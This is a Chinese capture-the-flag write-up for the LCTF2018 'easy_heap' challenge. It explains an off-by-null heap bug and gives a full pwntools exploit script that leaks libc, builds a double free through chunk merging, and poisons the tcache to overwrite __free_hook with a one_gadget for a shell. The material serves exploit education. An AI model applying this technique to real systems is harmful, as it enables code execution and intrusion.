0%

LCTF2018 PWN easy_heap

LCTF2018 PWN easy_heap ctf-wiki Tcache例题

Tcache有点骚的, 利用挺灵活的..

0x0 基本功能

    1. 输入函数, 这里是存在off by null 漏洞的..
    1. new, 使用malloc(0xa8)分配一个块, 记录size, 然后输入内容.
    1. free, 首先清空, 然后free, 不存在uaf
    1. show, 用puts输出, 可以考虑借助个show来泄露libcbase.

      0x1 漏洞利用

      这道题的漏洞是off by null
      虽然不能直接改prev_size, 但是prev_in_use是可以改的, 这里用的是off by null来清空pre_in_use位的.
      我们是这样利用的.
      首先在unsorted bin中相邻的chunk块会合并, 我们可以通过申请A -> B -> C, 然后通过溢出B, 是的C的prev_in_use位为0, 这样再将Cfree, A, B, C会合成一个大的Chunk块, 这样的话, B是inused的, 然后将A, B分割出来, 就造成了double free, 就可以利用了.
      注意Tcache的影响以及防止和Top chunk合并.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from pwn import *

sh = process(["./ld-2.27.so", "./1"], env={"LD_PRELOAD":"./libc-2.27.so.6"})
# gdb.attach(sh)
context(os='linux', arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')

def Write(Until, Text):
sh.recvuntil(Until)
sh.sendline(Text)

def Cmd(opt):
Write('which command?\n> ', str(opt))

def Malloc(Size, Context):
Cmd(1)
Write("size \n> ", str(Size))
Write("content \n> ", Context)

def Dele(Idx):
Cmd(2)
Write('index \n> ', str(Idx))

def Puts(Idx):
Cmd(3)
Write('index \n> ', str(Idx))

# First Step, Get three unsorted bin
for i in range(7):
Malloc(0x10, str(i) + ' - tcache')
for i in range(3):
Malloc(0x10, str(i + 7) + ' - unsorted bin')

# Arrange
for i in range(6):
Dele(i)
Dele(9)
for i in range(6, 9):
Dele(i)

# Now (0 -> 5), 6, 7 ,8 (9) Top;

for i in range(7):
Malloc(0x10, str(i) + ' - tcache') # this is tcache
Malloc(0x10, 'Target A') # 7
Malloc(0x10, 'Target B') # 8
Malloc(0x10, 'Target C') # 9


for i in range(6):
Dele(i)
Dele(8) # now 8 is the last of Tcache

# (0 1 2 3 4 5) 7 (8) 9 6
# want 8 -> 9 -> prev_inuse
# then free 7 and 7 -> 8 Merge
Dele(7) # to get libc related fd&bk
Malloc(0xf8, 'Target B') # Malloc ==> B Idx = 0

Dele(6) # fill up tcache
Dele(9) # chunk merge

# 5 * T (A B(0) C) T
for i in range(7):
Malloc(0x10, str(i + 1) + ' - tcache') # clear up tcache
Malloc(0x10, '8 - A') # split chunk a and fd & bk will give Chunk b

Puts(0)
libcbase = u64(sh.recvuntil('\n')[0:-1].strip().ljust(8, '\x00')) - 0x3ebca0
log.success('libcbase: ' + hex(libcbase))
free_hook = libcbase + libc.symbols['__free_hook']
one_gadget = 0x4f322 + libcbase

Malloc(0x10, '9 - B')
'''
0 ==> B
1 - 7 Tcache
8 ==> A
9 ==> B
C is freed
the last one is 1
'''
Dele(1) # to give tcache a size 这个和tcache是有关的, 就是相当于给了这个tcache一个size 可以继续malloc 出来.

Dele(0)
Dele(9)
Malloc(0x10, p64(free_hook))
Malloc(0x10, 'Ready?')
Malloc(0x10, p64(one_gadget))
Dele(1)



sh.interactive()